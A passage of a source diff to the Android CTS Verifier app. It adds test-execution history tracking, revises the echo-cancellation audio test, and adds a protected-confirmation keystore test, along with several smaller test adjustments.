- String name, int result, String details, ReportLog reportLog) {
+ String name, int result, String details, ReportLog reportLog,
+ TestResultHistoryCollection historyCollection) {
this.mName = name;
this.mResult = result;
this.mDetails = details;
this.mReportLog = reportLog;
+ this.mHistoryCollection =
+ historyCollection == null ? new TestResultHistoryCollection() : historyCollection;
}
/** Return the name of the test like "com.android.cts.verifier.foo.FooTest" */
@@ -122,4 +145,9 @@
public ReportLog getReportLog() {
return mReportLog;
}
+
+ /** @return the {@link TestResultHistoryCollection} containing test history */
+ public TestResultHistoryCollection getHistoryCollection() {
+ return mHistoryCollection;
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
new file mode 100644
index 0000000..0e7160c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -0,0 +1,81 @@
+package com.android.cts.verifier;
+
+import com.android.compatibility.common.util.TestResultHistory;
+
+import java.io.Serializable;
+import java.util.AbstractMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+public class TestResultHistoryCollection implements Serializable {
+
+ private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
+
+ /**
+ * Covert object to set.
+ *
+ * @return A set of test result history.
+ */
+ public Set<TestResultHistory> asSet() {
+ return mHistoryCollection;
+ }
+
+ /**
+ * Add a test result history with test name, start time and end time.
+ *
+ * @param test a string of test name.
+ * @param start start time of a test.
+ * @param end end time of a test.
+ */
+ public void add(String test, long start, long end) {
+ Set<Map.Entry> duration = new HashSet<>();
+ duration.add(new AbstractMap.SimpleEntry<>(start, end));
+ mHistoryCollection.add(new TestResultHistory(test, duration));
+ }
+
+ /**
+ * Add test result histories for tests containing test name and a set of execution time.
+ *
+ * @param test test name.
+ * @param durations set of start and end time.
+ */
+ public void addAll(String test, Set<Map.Entry> durations) {
+ TestResultHistory history = new TestResultHistory(test, durations);
+ boolean match = false;
+ for (TestResultHistory resultHistory: mHistoryCollection) {
+ if (resultHistory.getTestName().equals(test)) {
+ resultHistory.getDurations().addAll(durations);
+ match = true;
+ break;
+ }
+ }
+ if (match == false) {
+ mHistoryCollection.add(history);
+ }
+ }
+
+ /**
+ * Merge test with its sub-tests result histories.
+ *
+ * @param prefix optional test name prefix to apply.
+ * @param resultHistoryCollection a set of test result histories.
+ */
+ public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
+ if (resultHistoryCollection != null) {
+ resultHistoryCollection.asSet().forEach(t-> addAll(
+ prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
+ }
+ }
+
+ /**
+ * Merge test with its sub-tests result histories.
+ *
+ * @param prefix optional test name prefix to apply.
+ * @param resultHistories a list of test result history collection.
+ */
+ public void merge(String prefix, List<TestResultHistoryCollection> resultHistories) {
+ resultHistories.forEach(resultHistoryCollection -> merge(prefix, resultHistoryCollection));
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index a2ef71d..4bbb12b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -59,6 +59,8 @@
static final String COLUMN_TEST_DETAILS = "testdetails";
/** ReportLog containing the test result metrics. */
static final String COLUMN_TEST_METRICS = "testmetrics";
+ /** TestResultHistory containing the test run histories. */
+ static final String COLUMN_TEST_RESULT_HISTORY = "testresulthistory";
/**
* Report saved location
@@ -102,12 +104,13 @@
}
static void setTestResult(Context context, String testName, int testResult,
- String testDetails, ReportLog reportLog) {
+ String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
ContentValues values = new ContentValues(2);
values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
+ values.put(TestResultsProvider.COLUMN_TEST_RESULT_HISTORY, serialize(historyCollection));
final Uri uri = getResultContentUri(context);
ContentResolver resolver = context.getContentResolver();
@@ -400,7 +403,8 @@
+ COLUMN_TEST_RESULT + " INTEGER,"
+ COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
+ COLUMN_TEST_DETAILS + " TEXT,"
- + COLUMN_TEST_METRICS + " BLOB);");
+ + COLUMN_TEST_METRICS + " BLOB,"
+ + COLUMN_TEST_RESULT_HISTORY + " BLOB);");
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 7d3026a..a32b842 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -29,6 +29,7 @@
import com.android.compatibility.common.util.ITestResult;
import com.android.compatibility.common.util.MetricsXmlSerializer;
import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
import com.android.compatibility.common.util.TestStatus;
import com.android.cts.verifier.TestListAdapter.TestListItem;
@@ -38,9 +39,16 @@
import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
+import java.util.Arrays;
+import java.util.ArrayList;
import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
import java.util.Locale;
+import java.util.Map;
import java.util.Map.Entry;
+import java.util.Set;
/**
* Helper class for creating an {@code InvocationResult} for CTS result generation.
@@ -129,12 +137,34 @@
}
currentTestResult.setResultStatus(resultStatus);
// TODO: report test details with Extended Device Info (EDI) or CTS metrics
- // String details = mAdapter.getTestDetails(i);
+ String details = mAdapter.getTestDetails(i);
+ currentTestResult.setMessage(details);
ReportLog reportLog = mAdapter.getReportLog(i);
if (reportLog != null) {
currentTestResult.setReportLog(reportLog);
}
+
+ TestResultHistoryCollection historyCollection = mAdapter.getHistoryCollection(i);
+ if (historyCollection != null) {
+ // Get non-terminal prefixes.
+ Set<String> prefixes = new HashSet<>();
+ for (TestResultHistory history: historyCollection.asSet()) {
+ Arrays.stream(history.getTestName().split(":")).reduce(
+ (total, current) -> { prefixes.add(total);
+ return total + ":" + current;
+ });
+ }
+
+ // Filter out non-leaf test histories.
+ List<TestResultHistory> leafTestHistories = new ArrayList<TestResultHistory>();
+ for (TestResultHistory history: historyCollection.asSet()) {
+ if (!prefixes.contains(history.getTestName())) {
+ leafTestHistories.add(history);
+ }
+ }
+ currentTestResult.setTestResultHistories(leafTestHistories);
+ }
}
}
moduleResult.setDone(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
index 636dc2b..24e273c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -16,6 +16,7 @@
package com.android.cts.verifier.audio;
+import android.content.Context;
import android.media.*;
import android.media.audiofx.AcousticEchoCanceler;
import android.os.Bundle;
@@ -61,8 +62,10 @@
private final int CORRELATION_DURATION_MS = TEST_DURATION_MS - 3000;
private final int SHOT_COUNT_CORRELATION = CORRELATION_DURATION_MS/SHOT_FREQUENCY_MS;
private final int SHOT_COUNT = TEST_DURATION_MS/SHOT_FREQUENCY_MS;
+ private final float MIN_RMS_DB = -60.0f; //dB
+ private final float MIN_RMS_VAL = (float)Math.pow(10,(MIN_RMS_DB/20));
- private final double TEST_THRESHOLD_AEC_ON = 0.4; //From SoloTester
+ private final double TEST_THRESHOLD_AEC_ON = 0.5;
private final double TEST_THRESHOLD_AEC_OFF = 0.6;
private RmsHelper mRMSRecorder1 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
private RmsHelper mRMSRecorder2 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
@@ -131,6 +134,9 @@
count++;
}
float rms = count > 0 ? (float)Math.sqrt(rmsTempSum / count) : 0f;
+ if (rms < MIN_RMS_VAL) {
+ rms = MIN_RMS_VAL;
+ }
double alpha = 0.9;
double total_rms = rms * alpha + mRmsCurrent * (1.0f - alpha);
@@ -162,9 +168,10 @@
DspBufferDouble crossCorr = new DspBufferDouble(actualLen);
for (int i = firstShot, index = 0; i <= lastShot; ++i, ++index) {
- double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), -120);
+ double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), MIN_RMS_DB);
rmsPlayerdB.setValue(index, valPlayerdB);
- double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]), -120);
+ double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]),
+ MIN_RMS_DB);
rmsRecorderdB.setValue(index, valRecorderdB);
}
@@ -288,20 +295,37 @@
return;
}
- int playbackStreamType = AudioManager.STREAM_MUSIC;
+ //Step 0. Prepare system
+ AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+ int targetMode = AudioManager.MODE_IN_COMMUNICATION;
+ int originalMode = am.getMode();
+ am.setMode(targetMode);
+
+ if (am.getMode() != targetMode) {
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
+ "Couldn't set mode to MODE_IN_COMMUNICATION.");
+ return;
+ }
+
+ int playbackStreamType = AudioManager.STREAM_VOICE_CALL;
int maxLevel = getMaxLevelForStream(playbackStreamType);
int desiredLevel = maxLevel - 1;
setLevelForStream(playbackStreamType, desiredLevel);
int currentLevel = getLevelForStream(playbackStreamType);
if (currentLevel != desiredLevel) {
+ am.setMode(originalMode);
sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
- "Couldn't set level for STREAM_MUSIC. Expected " +
+ "Couldn't set level for STREAM_VOICE_CALL. Expected " +
desiredLevel +" got: " + currentLevel);
return;
}
+ boolean originalSpeakerPhone = am.isSpeakerphoneOn();
+ am.setSpeakerphoneOn(true);
+
//Step 1. With AEC (on by Default when using VOICE_COMMUNICATION audio source).
+ mSPlayer.setStreamType(playbackStreamType);
mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.speech);
mSRecorder.startRecording();
@@ -316,16 +340,20 @@
} catch (Exception e) {
mSRecorder.stopRecording();
String msg = "Could not create AEC Effect. " + e.toString();
- sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
recordTestResults(mMandatory, 0, 0, msg);
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
return;
}
if (mAec == null) {
mSRecorder.stopRecording();
String msg = "Could not create AEC Effect (AEC Null)";
- sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
recordTestResults(mMandatory,0, 0, msg);
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
return;
}
@@ -333,8 +361,10 @@
String msg = "AEC is not enabled by default.";
if (mMandatory) {
mSRecorder.stopRecording();
- sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
recordTestResults(mMandatory,0, 0, msg);
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
+ sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
return;
} else {
sb.append("Warning. " + msg + "\n");
@@ -358,9 +388,9 @@
20 * Math.log10(mRMSPlayer1.getRmsCurrent())));
}
- mSPlayer.play(false);
mRMSPlayer1.setRunning(false);
mRMSRecorder1.setRunning(false);
+ mSPlayer.play(false);
int lastShot = SHOT_COUNT - 1;
int firstShot = SHOT_COUNT - SHOT_COUNT_CORRELATION;
@@ -397,10 +427,13 @@
20 * Math.log10(mRMSPlayer2.getRmsCurrent())));
}
- mSRecorder.stopRecording();
- mSPlayer.play(false);
mRMSPlayer2.setRunning(false);
mRMSRecorder2.setRunning(false);
+ mSRecorder.stopRecording();
+ mSPlayer.play(false);
+
+ am.setSpeakerphoneOn(originalSpeakerPhone);
+ am.setMode(originalMode);
double maxNoAEC = computeAcousticCouplingFactor(mRMSPlayer2.getRmsSnapshots(),
mRMSRecorder2.getRmsSnapshots(), firstShot, lastShot);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 87618b1..01802a4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -280,9 +280,9 @@
Arrays.asList(powerWrap),
"");
LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+ seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
seriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_trials);
- seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(series, seriesFormat);
}
@@ -297,9 +297,9 @@
Arrays.asList(noiseDBWrap),
"background noise");
LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
+ noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
noiseSeriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_noise);
- noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(noiseSeries, noiseSeriesFormat);
double[] dB = wavAnalyzerTask.getDB();
@@ -313,9 +313,9 @@
Arrays.asList(dBWrap),
"median");
LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+ seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
seriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_median);
- seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(series, seriesFormat);
Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -323,9 +323,9 @@
XYSeries passSeries = new SimpleXYSeries(
Arrays.asList(passX), Arrays.asList(passY), "passing");
LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
+ passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
passSeriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_pass);
- passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
plot.addSeries(passSeries, passSeriesFormat);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
index 26597c3..3298e84 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
@@ -234,6 +234,9 @@
} else if (testType == TEST_AUTHENTICATE) {
if (result == BiometricManager.BIOMETRIC_SUCCESS) {
showBiometricPrompt(false /* allowCredential */);
+ } else if (result == BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE) {
+ showToastAndLog("No biometric features, test passed.");
+ getPassButton().setEnabled(true);
} else {
showToastAndLog("Error: " + result +
" Please ensure at least one biometric is enrolled and try again");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index cef8ae3..b13e3aa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -747,6 +747,8 @@
private void queryProfileOwner(boolean showToast) {
try {
+ // Set execution start time for counting test execution time.
+ mStartTime = System.currentTimeMillis();
Intent intent = new Intent(ByodHelperActivity.ACTION_QUERY_PROFILE_OWNER);
startActivityForResult(intent, REQUEST_PROFILE_OWNER_STATUS);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 93bb6a5..d3f4889 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -495,6 +495,8 @@
}
private Intent createCreateManagedUserIntent() {
+ // Set execution start time for counting test execution time.
+ mStartTime = System.currentTimeMillis();
return new Intent(this, CommandReceiverActivity.class)
.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
CommandReceiverActivity.COMMAND_CREATE_MANAGED_USER);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
index cce6df0..189248d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
@@ -68,7 +68,7 @@
throw new IllegalArgumentException("Unknown id: " + target.getId());
}
Intent resultIntent = TestResult.createResult(RecentsRedactionActivity.this, resultCode,
- getTestId(), getTestDetails(), getReportLog());
+ getTestId(), getTestDetails(), getReportLog(), getHistoryCollection());
new ByodFlowTestHelper(this).sendResultToPrimary(resultIntent);
finish();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
index c0a1626..ef2d798 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
@@ -65,10 +65,15 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ // Set execution start time when start this activity for counting test execution time.
+ mStartTime = System.currentTimeMillis();
mPrepareTestButton.setText(R.string.provisioning_byod_turn_off_work_prepare_button);
mPrepareTestButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
+ // Set execution start time when users start to turn/off work profile for counting
+ // test execution time.
+ mStartTime = System.currentTimeMillis();
try {
startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
} catch (ActivityNotFoundException e) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 2a37b5e..7297dbe 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -42,6 +42,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
import android.os.Bundle;
import android.provider.Settings;
import android.provider.Settings.Secure;
@@ -128,8 +129,10 @@
tests.add(new EnableHintsTest());
tests.add(new ReceiveAppBlockNoticeTest());
tests.add(new ReceiveAppUnblockNoticeTest());
- tests.add(new ReceiveChannelBlockNoticeTest());
- tests.add(new ReceiveGroupBlockNoticeTest());
+ if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ tests.add(new ReceiveChannelBlockNoticeTest());
+ tests.add(new ReceiveGroupBlockNoticeTest());
+ }
tests.add(new RequestUnbindTest());
tests.add(new RequestBindTest());
tests.add(new MessageBundleTest());
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
new file mode 100644
index 0000000..8fb9e67
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.security;
+
+import android.content.pm.PackageManager;
+import android.icu.util.Calendar;
+import android.os.Bundle;
+import android.security.ConfirmationAlreadyPresentingException;
+import android.security.ConfirmationCallback;
+import android.security.ConfirmationNotAvailableException;
+import android.security.ConfirmationPrompt;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.UnrecoverableEntryException;
+import java.security.cert.CertificateException;
+import java.util.Date;
+
+public class ProtectedConfirmationTest extends PassFailButtons.Activity {
+
+ /**
+ * Alias for our key in the Android Key Store.
+ */
+ private static final String KEY_NAME = "my_confirmation_key";
+ private boolean teeTestSuccess = false;
+ private boolean strongboxTestSuccess = false;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.sec_protected_confirmation_main);
+ setPassFailButtonClickListeners();
+
+ boolean protectedConfirmationSupported =
+ ConfirmationPrompt.isSupported(getApplicationContext());
+ if (protectedConfirmationSupported) {
+ setInfoResources(R.string.sec_protected_confirmation_test,
+ R.string.sec_protected_confirmation_test_info, -1);
+ getPassButton().setEnabled(false);
+ } else {
+ setInfoResources(R.string.sec_protected_confirmation_not_supported_title,
+ R.string.sec_protected_confirmation_not_supported_info, -1);
+ getPassButton().setEnabled(true);
+ return;
+ }
+ boolean hasStrongbox = this.getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
+
+ findViewById(R.id.sec_protected_confirmation_tee_test_success)
+ .setVisibility(View.INVISIBLE);
+ findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
+ .setVisibility(View.INVISIBLE);
+ Button startTestButton = (Button) findViewById(R.id.sec_start_test_button);
+ startTestButton.setOnClickListener(new OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ showToast("Test running...");
+ v.post(new Runnable() {
+ @Override
+ public void run() {
+ runTest(false /* useStrongbox */);
+ }
+ });
+ }
+
+ });
+
+ Button startStrongboxTestButton =
+ (Button) findViewById(R.id.sec_start_test_strongbox_button);
+ if (hasStrongbox) {
+ startStrongboxTestButton.setOnClickListener(new OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ showToast("Test running...");
+ v.post(new Runnable() {
+ @Override
+ public void run() {
+ runTest(true /* useStrongbox */);
+ }
+ });
+ }
+
+ });
+ } else {
+ startStrongboxTestButton.setVisibility(View.GONE);
+ // since strongbox is unavailable we mark the strongbox test as passed so that the tee
+ // test alone can make the test pass.
+ strongboxTestSuccess = true;
+ }
+
+ }
+
+ /**
+ * Creates an asymmetric signing key in AndroidKeyStore which can only be used for signing
+ * user confirmed messages.
+ */
+ private void createKey(boolean useStrongbox) {
+ Calendar calendar = Calendar.getInstance();
+ Date validityStart = calendar.getTime();
+ calendar.add(Calendar.YEAR, 1);
+ Date validityEnd = calendar.getTime();
+ try {
+ KeyPairGenerator kpg = KeyPairGenerator.getInstance(
+ KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore");
+ KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
+ KEY_NAME,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY);
+ builder.setDigests(KeyProperties.DIGEST_SHA256, KeyProperties.DIGEST_SHA512);
+ builder.setAttestationChallenge("CtsVerifierTest".getBytes());
+ builder.setUserConfirmationRequired(true);
+ builder.setIsStrongBoxBacked(useStrongbox);
+ builder.setKeyValidityStart(validityStart);
+ builder.setKeyValidityEnd(validityEnd);
+ kpg.initialize(builder.build());
+ kpg.generateKeyPair();
+ } catch (NoSuchAlgorithmException | NoSuchProviderException |
+ InvalidAlgorithmParameterException e) {
+ throw new RuntimeException("Failed to create confirmation key", e);
+ }
+ }
+
+ private boolean trySign(byte[] dataThatWasConfirmed) {
+ try {
+ KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+ keyStore.load(null);
+ KeyStore.Entry key = keyStore.getEntry(KEY_NAME, null);
+ Signature s = Signature.getInstance("SHA256withECDSA");
+ s.initSign(((KeyStore.PrivateKeyEntry) key).getPrivateKey());
+ s.update(dataThatWasConfirmed);
+ s.sign();
+ } catch (CertificateException | KeyStoreException | IOException | NoSuchAlgorithmException |
+ UnrecoverableEntryException | InvalidKeyException e) {
+ throw new RuntimeException("Failed to load confirmation key", e);
+ } catch (SignatureException e) {
+ return false;
+ }
+ return true;
+ }
+
+ private void runTest(boolean useStrongbox) {
+ createKey(useStrongbox);
+ if (trySign(getString(R.string.sec_protected_confirmation_message)
+ .getBytes())) {
+ showToast("Test failed. Key could sign without confirmation.");
+ } else {
+ showConfirmationPrompt(
+ getString(R.string.sec_protected_confirmation_message),
+ useStrongbox);
+ }
+ }
+
+ private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox) {
+ ConfirmationPrompt.Builder builder = new ConfirmationPrompt.Builder(this);
+ builder.setPromptText(confirmationMessage);
+ builder.setExtraData(new byte[]{0x1, 0x02, 0x03});
+ ConfirmationPrompt prompt = builder.build();
+ try {
+ prompt.presentPrompt(getMainExecutor(),
+ new ConfirmationCallback() {
+ @Override
+ public void onConfirmed(byte[] dataThatWasConfirmed) {
+ super.onConfirmed(dataThatWasConfirmed);
+ if (trySign(dataThatWasConfirmed)) {
+ markTestSuccess(useStrongbox);
+ } else {
+ showToast("Failed to sign confirmed message");
+ }
+ }
+
+ @Override
+ public void onDismissed() {
+ super.onDismissed();
+ showToast("User dismissed the dialog.");
+ }
+
+ @Override
+ public void onCanceled() {
+ super.onCanceled();
+ showToast("Confirmation dialog was canceled.");
+ }
+
+ @Override
+ public void onError(Throwable e) {
+ super.onError(e);
+ throw new RuntimeException("Confirmation Callback encountered an error",
+ e);
+ }
+ });
+ } catch (ConfirmationAlreadyPresentingException | ConfirmationNotAvailableException e) {
+ throw new RuntimeException("Error trying to present the confirmation prompt", e);
+ }
+ }
+
+ private void showToast(String message) {
+ Toast.makeText(this, message, Toast.LENGTH_LONG)
+ .show();
+ }
+
+ private void markTestSuccess(boolean strongbox) {
+ if (strongbox) {
+ if (!strongboxTestSuccess) {
+ findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
+ .setVisibility(View.VISIBLE);
+ }
+ strongboxTestSuccess = true;
+ } else {
+ if (!teeTestSuccess) {
+ findViewById(R.id.sec_protected_confirmation_tee_test_success)
+ .setVisibility(View.VISIBLE);
+ }
+ teeTestSuccess = true;
+ }
+ if (strongboxTestSuccess && teeTestSuccess) {
+ showToast("Test passed.");
+ getPassButton().setEnabled(true);
+ }
+ }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
index 2c194c1..cedab27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
@@ -42,8 +42,8 @@
*/
public class StepSensorPermissionTestActivity extends SensorCtsVerifierTestActivity
implements SensorEventListener {
- private static final int STEP_DETECT_DELAY_SECONDS = 2;
- private static final int STEP_COUNT_DELAY_SECONDS = 10;
+ private static final int STEP_DETECT_DELAY_SECONDS = 30;
+ private static final int STEP_COUNT_DELAY_SECONDS = 30;
// Additional amount of time to give for receiving either a step detect or
// count event in case the user hasn't started walking at the time the test
// starts.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
index 41ab6f7..4c6a270 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
@@ -37,7 +37,7 @@
private ViewGroup mItemList;
private View mPostTarget;
- protected View getPostTarget() {
+ public View getPostTarget() {
return mPostTarget;
}
@@ -57,14 +57,14 @@
getPassButton().setEnabled(false);
}
- protected void setButtonEnabled(View item, boolean enabled) {
+ public static void setButtonEnabled(View item, boolean enabled) {
View button = item.findViewById(R.id.user_action_button);
button.setFocusable(enabled);
button.setClickable(enabled);
button.setEnabled(enabled);
}
- protected void setPassState(View item, boolean passed) {
+ public static void setPassState(View item, boolean passed) {
ImageView status = (ImageView) item.findViewById(R.id.status);
